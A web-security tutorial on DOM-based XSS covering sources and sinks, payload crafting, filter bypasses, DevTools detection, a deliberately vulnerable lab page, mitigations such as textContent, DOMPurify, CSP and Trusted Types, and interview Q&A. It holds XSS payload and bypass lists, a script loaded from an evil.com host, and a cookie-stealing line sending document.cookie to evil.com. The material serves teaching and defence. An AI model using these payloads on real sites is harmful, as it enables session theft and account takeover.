Skip to content
SecureKhan
Go back

DOM-Based XSS Deep Dive: Client-Side Vulnerabilities Explained

DOM-Based XSS Deep Dive

TL;DR: DOM-based XSS occurs entirely in the browser when JavaScript takes untrusted data (sources) and passes it to dangerous functions (sinks) without sanitization. Unlike reflected/stored XSS, the malicious payload never reaches the server - making it invisible to server-side security controls.


Table of Contents

Open Table of Contents

Quick Reference

Common DOM XSS Sources

SourceDescriptionExample
location.hashURL fragment#<script>alert(1)</script>
location.searchQuery string?q=<script>alert(1)</script>
location.hrefFull URLDirect URL manipulation
document.referrerReferrer headerMalicious referring page
document.cookieCookiesVia other vulnerabilities
window.nameWindow nameCross-origin data transfer
localStorage/sessionStorageWeb storagePersistent XSS
postMessageCross-origin messagingiframe communication

Common DOM XSS Sinks

SinkRisk LevelExample
innerHTMLHighdiv.innerHTML = userInput
outerHTMLHighelement.outerHTML = data
document.write()Highdocument.write(input)
eval()Criticaleval(userInput)
setTimeout/setIntervalCriticalsetTimeout(userInput, 1000)
Function()Criticalnew Function(userInput)
location.hrefMediumlocation.href = userInput
element.srcMediumimg.src = userInput
jQuery.html()High$(element).html(input)

XSS Types Comparison

The Three XSS Types

┌─────────────────────────────────────────────────────────────┐
│                     XSS COMPARISON                           │
├─────────────────┬─────────────────┬─────────────────────────┤
│   REFLECTED     │    STORED       │     DOM-BASED           │
├─────────────────┼─────────────────┼─────────────────────────┤
│ Payload in      │ Payload stored  │ Payload processed       │
│ request         │ on server       │ in browser only         │
├─────────────────┼─────────────────┼─────────────────────────┤
│ Server echoes   │ Server retrieves│ Server never sees       │
│ to response     │ and echoes      │ payload (after #)       │
├─────────────────┼─────────────────┼─────────────────────────┤
│ Server-side     │ Server-side     │ Client-side             │
│ output encoding │ output encoding │ input sanitization      │
│ fixes it        │ fixes it        │ required                │
├─────────────────┼─────────────────┼─────────────────────────┤
│ One victim at   │ Multiple victims│ One victim at a time    │
│ a time          │ (persistent)    │ (unless stored in DOM)  │
└─────────────────┴─────────────────┴─────────────────────────┘

Data Flow Visualization

Reflected XSS:

User → Browser → Server → Browser (reflects payload) → Execution

              Payload visible in
              server logs

Stored XSS:

Attacker → Server (stores) → Database
Victim → Browser → Server → Database → Server → Browser → Execution

DOM-based XSS:

User → Browser (JS reads source) → Browser (passes to sink) → Execution

              Payload NEVER
              reaches server
              (especially with #)

Why DOM XSS is Special

  1. Invisible to WAFs: Payload after # isn’t sent to server
  2. No server logs: Attack leaves no server trace
  3. Client-side root cause: Fix requires JavaScript changes
  4. Same-origin context: Full access to page data and APIs
  5. Modern prevalence: SPA frameworks increase risk

Browser Execution Context

The Document Object Model

                    window

           ┌──────────┼──────────┐
           │          │          │
        document   location   history

    ┌──────┼──────┐
    │      │      │
  head   body    ...

    ┌──────┼──────┐
    │      │      │
  div    form    script

JavaScript Execution Contexts

// Global scope - window object
alert(1);           // Same as window.alert(1)

// DOM manipulation
document.body.innerHTML = "...";  // Modify page content

// URL access
location.hash;      // Read URL fragment
location.search;    // Read query string
location.href;      // Read/write full URL

// Script execution
eval("alert(1)");   // Execute string as code
new Function("alert(1)")();  // Same effect
setTimeout("alert(1)", 0);   // String as code (legacy)

Same-Origin Policy Impact

When XSS executes, the malicious script has the same privileges as legitimate page scripts:

// An XSS payload can:
document.cookie;                    // Read session cookies
fetch('/api/user/data');           // Call authenticated APIs
document.forms[0].submit();        // Submit forms as user
localStorage.getItem('token');     // Access stored tokens
navigator.credentials.get();       // Potentially access credentials

Sources and Sinks

Understanding Sources

Sources are JavaScript properties/methods that can be controlled by an attacker.

URL-Based Sources

// location.hash - everything after #
// URL: https://example.com/page#<img src=x onerror=alert(1)>
let hash = location.hash;  // "#<img src=x onerror=alert(1)>"

// location.search - query string
// URL: https://example.com/page?name=<script>alert(1)</script>
let query = location.search;  // "?name=<script>alert(1)</script>"

// location.href - full URL
let url = location.href;

// document.URL - alias for location.href
let docUrl = document.URL;

// document.documentURI
let uri = document.documentURI;

Other Sources

// document.referrer - where user came from
let ref = document.referrer;

// window.name - persists across navigations
let name = window.name;

// Web Storage
let stored = localStorage.getItem('userInput');
let session = sessionStorage.getItem('data');

// postMessage - cross-origin communication
window.addEventListener('message', function(e) {
    let data = e.data;  // Source!
});

Understanding Sinks

Sinks are JavaScript functions/properties that execute or render content in a dangerous way.

HTML Injection Sinks

// Direct HTML insertion - executes scripts
element.innerHTML = userInput;       // DANGEROUS
element.outerHTML = userInput;       // DANGEROUS
document.write(userInput);           // DANGEROUS
document.writeln(userInput);         // DANGEROUS

// jQuery equivalents
$(element).html(userInput);          // DANGEROUS
$(element).append(userInput);        // DANGEROUS if contains HTML

JavaScript Execution Sinks

// Direct code execution
eval(userInput);                     // CRITICAL
new Function(userInput)();           // CRITICAL
setTimeout(userInput, 1000);         // If string argument
setInterval(userInput, 1000);        // If string argument

// Script src manipulation
scriptElement.src = userInput;
scriptElement.text = userInput;

URL/Navigation Sinks

// Redirect sinks (javascript: pseudo-protocol)
location.href = userInput;           // javascript:alert(1)
location.assign(userInput);
location.replace(userInput);
window.open(userInput);

// Link manipulation
anchor.href = userInput;             // javascript: URLs

Sink and Source Combinations

SourceSinkExample Vulnerable Code
location.hashinnerHTMLdiv.innerHTML = location.hash.slice(1)
location.searchdocument.writedocument.write(location.search)
document.referrerinnerHTMLspan.innerHTML = document.referrer
postMessageevaleval(e.data.code)
localStorageinnerHTMLdiv.innerHTML = localStorage.getItem('x')

Payload Crafting

Basic Payloads

<!-- Event handler payloads (no script tags needed) -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>

<!-- Script tag payloads -->
<script>alert(1)</script>
<script src=//evil.com/xss.js></script>

<!-- javascript: protocol -->
<a href=javascript:alert(1)>click</a>
<iframe src=javascript:alert(1)>

DOM-Specific Payloads

For location.hash:

https://target.com/page#<img src=x onerror=alert(document.domain)>

For location.search (may need encoding):

https://target.com/page?input=<img%20src=x%20onerror=alert(1)>

For javascript: sinks:

javascript:alert(document.cookie)

Filter Bypass Techniques

<!-- Case variation -->
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x OnErRoR=alert(1)>

<!-- Encoding -->
<img src=x onerror=alert(1)>
<img src=x onerror=\u0061lert(1)>
<img src=x onerror=&#97;lert(1)>

<!-- No parentheses -->
<img src=x onerror=alert`1`>
<img src=x onerror=alert&lpar;1&rpar;>

<!-- No spaces -->
<img/src=x/onerror=alert(1)>
<svg/onload=alert(1)>

<!-- Breaking out of JavaScript strings -->
';alert(1)//
"-alert(1)-"
</script><script>alert(1)</script>

<!-- Template literals -->
${alert(1)}
`${alert(1)}`

Context-Aware Payloads

Inside JavaScript string:

// Vulnerable: var name = "USER_INPUT";
// Payload: ";alert(1)//

// Result: var name = "";alert(1)//";

Inside JavaScript template literal:

// Vulnerable: `Hello ${USER_INPUT}`
// Payload: ${alert(1)}

// Result: `Hello ${alert(1)}`

Inside HTML attribute:

<!-- Vulnerable: <div data-value="USER_INPUT"> -->
<!-- Payload: " onclick=alert(1) x=" -->

<!-- Result: <div data-value="" onclick=alert(1) x=""> -->

Detection with DevTools

Finding Sources

Step 1: Identify user-controlled data entry points

// Check these in Console:
console.log(location.hash);
console.log(location.search);
console.log(location.href);
console.log(document.referrer);
console.log(document.cookie);

Step 2: Search for source usage in code

In DevTools Sources tab, search (Ctrl+Shift+F) for:

Finding Sinks

Search for dangerous sink patterns:

// Search in Sources for:
.innerHTML
.outerHTML
document.write
eval(
new Function(
setTimeout(
setInterval(
$.html(
.append(

DOM Breakpoints

Set breakpoints on DOM modifications:

  1. Right-click element in Elements tab
  2. Select “Break on” → “Subtree modifications”
  3. Trigger the functionality
  4. Examine call stack for sources

Tracing Data Flow

Using Console to trace:

// Override innerHTML to trace calls
const originalInnerHTML = Object.getOwnPropertyDescriptor(Element.prototype, 'innerHTML');
Object.defineProperty(Element.prototype, 'innerHTML', {
    set: function(value) {
        console.trace('innerHTML set to:', value);
        return originalInnerHTML.set.call(this, value);
    }
});

Using Browser Extensions

DOM Invader (Burp Suite):

Manual testing workflow:

1. Inject unique string: location.hash = "#CANARY12345"
2. Search page source for CANARY12345
3. Examine context where it appears
4. Craft payload for that context

Mitigation Strategies

Secure Coding Practices

Use Safe APIs

// DANGEROUS - parses HTML
element.innerHTML = userInput;

// SAFE - treats as text
element.textContent = userInput;
element.innerText = userInput;

// DANGEROUS - can execute javascript:
location.href = userInput;

// SAFER - validate URL first
function safeRedirect(url) {
    const parsed = new URL(url, location.origin);
    if (parsed.protocol === 'https:' || parsed.protocol === 'http:') {
        location.href = url;
    }
}

Input Sanitization

// Using DOMPurify library
const clean = DOMPurify.sanitize(userInput);
element.innerHTML = clean;

// Basic encoding for text contexts
function escapeHtml(text) {
    const div = document.createElement('div');
    div.textContent = text;
    return div.innerHTML;
}

Content Security Policy

CSP can mitigate XSS impact:

Content-Security-Policy:
    default-src 'self';
    script-src 'self' 'nonce-abc123';
    style-src 'self' 'unsafe-inline';
    object-src 'none';

CSP for DOM XSS:

Trusted Types API

Modern browser API to prevent DOM XSS:

// Create a policy
const escapePolicy = trustedTypes.createPolicy('escape', {
    createHTML: (input) => DOMPurify.sanitize(input)
});

// Use the policy
element.innerHTML = escapePolicy.createHTML(userInput);

// Enable enforcement
// Content-Security-Policy: require-trusted-types-for 'script'

Framework Protections

React:

// Automatic escaping
<div>{userInput}</div>  // Safe

// Dangerous - explicitly opt-in
<div dangerouslySetInnerHTML={{__html: userInput}} />  // DANGEROUS

Angular:

// Automatic sanitization
<div [innerHTML]="userInput"></div>  // Sanitized

// Bypassing (dangerous)
this.sanitizer.bypassSecurityTrustHtml(userInput);  // DANGEROUS

Vue:

<!-- Automatic escaping -->
<div>{{ userInput }}</div>  <!-- Safe -->

<!-- Dangerous -->
<div v-html="userInput"></div>  <!-- DANGEROUS -->

Hands-On Lab

Lab: Exploit DOM XSS Vulnerabilities

Setup: Use OWASP WebGoat, PortSwigger Web Academy, or create a local test page.

Lab Page Setup

<!DOCTYPE html>
<html>
<head><title>DOM XSS Lab</title></head>
<body>
    <h1>Search Results</h1>
    <div id="results"></div>

    <script>
        // Vulnerable code
        const params = new URLSearchParams(location.search);
        const query = params.get('q');
        if (query) {
            document.getElementById('results').innerHTML =
                'Results for: ' + query;
        }
    </script>
</body>
</html>

Task 1: Identify the Vulnerability

1. Open DevTools Console
2. Check URL parameters: console.log(location.search)
3. Search source code for "innerHTML"
4. Trace data flow from source (location.search) to sink (innerHTML)

Task 2: Craft and Test Payloads

# Basic test
http://localhost/lab.html?q=test

# XSS test
http://localhost/lab.html?q=<img src=x onerror=alert(1)>

# Cookie theft payload
http://localhost/lab.html?q=<img src=x onerror=alert(document.cookie)>

Task 3: Create Fix

// Fixed version
const params = new URLSearchParams(location.search);
const query = params.get('q');
if (query) {
    // Use textContent instead of innerHTML
    document.getElementById('results').textContent =
        'Results for: ' + query;
}

Task 4: Test Filter Bypasses

If basic payload is blocked, try:

?q=<svg/onload=alert(1)>
?q=<img src=x onerror=alert`1`>
?q=<details open ontoggle=alert(1)>

Interview Questions & Answers

Basic Questions

Q1: What is DOM-based XSS and how does it differ from reflected XSS?

Strong Answer: “DOM-based XSS is a client-side vulnerability where malicious JavaScript is executed through manipulation of the DOM environment in the victim’s browser. The key difference from reflected XSS is the data flow:

Reflected XSS:

  • Payload is sent to the server
  • Server includes payload in response
  • Server-side output encoding prevents it

DOM-based XSS:

  • Payload is processed entirely in the browser
  • JavaScript reads from a ‘source’ (like location.hash)
  • JavaScript writes to a ‘sink’ (like innerHTML)
  • Server never sees the payload (especially with URL fragments)

This means WAFs and server-side security controls are ineffective against DOM XSS. The fix must be in the client-side JavaScript code.”

Q2: Explain sources and sinks in DOM XSS.

Strong Answer: “In DOM XSS, sources are JavaScript properties that an attacker can control, and sinks are dangerous functions that can execute or render attacker-controlled content.

Common Sources:

  • location.hash - URL fragment after #
  • location.search - Query string
  • document.referrer - Referring page
  • postMessage data - Cross-origin messages

Common Sinks:

  • innerHTML - Inserts content as HTML
  • document.write() - Writes to document
  • eval() - Executes string as code
  • location.href - Can execute javascript: URLs

DOM XSS occurs when data flows from a source to a sink without proper sanitization. For example:

div.innerHTML = location.hash;  // Source → Sink

The mitigation is either sanitizing the data or using safe APIs like textContent instead of innerHTML.”

Intermediate Questions

Q3: How would you detect DOM XSS vulnerabilities during a security assessment?

Strong Answer: “I use a combination of static and dynamic analysis:

Static Analysis:

  1. Search JavaScript for dangerous sinks (innerHTML, eval, document.write)
  2. Trace backwards to find what data reaches those sinks
  3. Identify if sources (location.hash, etc.) flow to sinks

Dynamic Analysis:

  1. Inject canary values into potential sources
    • Set location.hash = '#CANARY12345'
    • Add ?param=CANARY12345 to URL
  2. Search page DOM for the canary
  3. Examine the context (HTML, JS string, attribute)
  4. Craft context-appropriate payload

Tooling:

  • DOM Invader (Burp Suite extension)
  • Browser DevTools with breakpoints on DOM modifications
  • Custom JavaScript to trace innerHTML assignments

DevTools Technique:

// Monitor innerHTML in Console
const original = Object.getOwnPropertyDescriptor(
    Element.prototype, 'innerHTML');
Object.defineProperty(Element.prototype, 'innerHTML', {
    set: function(value) {
        if (value.includes('CANARY')) {
            console.trace('DOM XSS - innerHTML:', value);
        }
        return original.set.call(this, value);
    }
});
```"

Q4: A developer argues that CSP will prevent all XSS. What do you tell them?

Strong Answer: “CSP is a powerful defense-in-depth control, but it has limitations for DOM XSS:

What CSP CAN do:

  • Block inline script execution (script-src without unsafe-inline)
  • Prevent loading of external malicious scripts
  • Restrict where data can be sent (limiting exfiltration)

What CSP CANNOT do:

  • Prevent innerHTML from rendering malicious HTML
  • Stop <img onerror> handlers (they’re inline)
  • Block javascript: URLs in href attributes
  • Prevent eval() if unsafe-eval is allowed

Example CSP bypass with DOM XSS:

// CSP: script-src 'self'
// This still works:
div.innerHTML = '<img src=x onerror=alert(1)>';
// Because img tags and event handlers aren't 'scripts'

Better approach:

  • Use CSP as defense-in-depth
  • Implement Trusted Types API (require-trusted-types-for 'script')
  • Fix root cause: use safe APIs (textContent vs innerHTML)
  • Sanitize with DOMPurify when HTML is required

CSP is a safety net, not a substitute for secure coding.”

Advanced Questions

Q5: Explain how Trusted Types help prevent DOM XSS and their limitations.

Strong Answer: “Trusted Types is a browser API that enforces type-safe DOM manipulation, preventing DOM XSS at the browser level.

How it works:

  1. Enable via CSP: require-trusted-types-for 'script'
  2. Browser now rejects strings passed to dangerous sinks
  3. You must create ‘trusted’ values through policies
// Without Trusted Types - vulnerable
div.innerHTML = userInput;  // Works (vulnerable)

// With Trusted Types enforced
div.innerHTML = userInput;  // TypeError! String rejected

// Create a sanitization policy
const policy = trustedTypes.createPolicy('sanitize', {
    createHTML: (input) => DOMPurify.sanitize(input)
});

// Use the policy
div.innerHTML = policy.createHTML(userInput);  // Works (safe)

Limitations:

  • Browser support (Chrome, Edge; limited in Firefox/Safari)
  • Requires refactoring existing code
  • Third-party libraries may not support it
  • Need to create policies for legitimate HTML
  • Can be bypassed with default policy if misconfigured

Best practice:

  • Use strict policies with explicit sanitization
  • Don’t create a permissive default policy
  • Combine with CSP and secure coding practices”

Q6: Walk me through exploiting a real-world DOM XSS scenario.

Strong Answer: “Let me describe a realistic scenario I’d test:

Scenario: Single-page application with client-side routing

Discovery:

// Found in bundled JS:
const path = window.location.hash.slice(1);
document.querySelector('#content').innerHTML =
    `<h1>Page: ${path}</h1>`;

Analysis:

  • Source: location.hash
  • Sink: innerHTML
  • No sanitization

Exploitation:

https://target.com/#<img src=x onerror=alert(document.domain)>

Impact Assessment:

  • Session hijacking: new Image().src='//evil.com/steal?c='+document.cookie
  • Keylogging: Inject script to capture form input
  • Phishing: Replace page content with fake login

Proof of Concept (responsible):

// Non-malicious PoC that demonstrates impact
// URL: https://target.com/#<img src=x onerror=alert('XSS-'+document.domain)>

Remediation:

// Option 1: Use textContent
document.querySelector('#content').textContent = path;

// Option 2: Sanitize
document.querySelector('#content').innerHTML =
    DOMPurify.sanitize(`<h1>Page: ${path}</h1>`);

// Option 3: Validate against allowlist
const allowedPages = ['home', 'about', 'contact'];
if (allowedPages.includes(path)) {
    // Safe to use
}
```"

Glossary

TermDefinition
DOMDocument Object Model - browser’s representation of the page
SourceJavaScript property containing attacker-controlled data
SinkJavaScript function that can execute/render content dangerously
innerHTMLProperty that parses and renders HTML content
textContentProperty that sets text without parsing HTML
Trusted TypesBrowser API enforcing type-safe DOM manipulation
CSPContent Security Policy - HTTP header restricting resources
DOMPurifyLibrary for sanitizing HTML against XSS
Same-Origin PolicyBrowser security restricting cross-origin access

What’s Next

Continue building your web security expertise:

  1. CSRF Attacks and Modern Defenses - Related client-side vulnerability
  2. Content Security Policy Explained - Defense against XSS
  3. Business Logic Vulnerabilities - Non-technical web flaws

Questions or feedback? Open an issue on GitHub.


Share this post on:

Previous Post
CSRF Attacks and Modern Defenses: A Complete Guide
Next Post
Business Logic Vulnerabilities: What Scanners Miss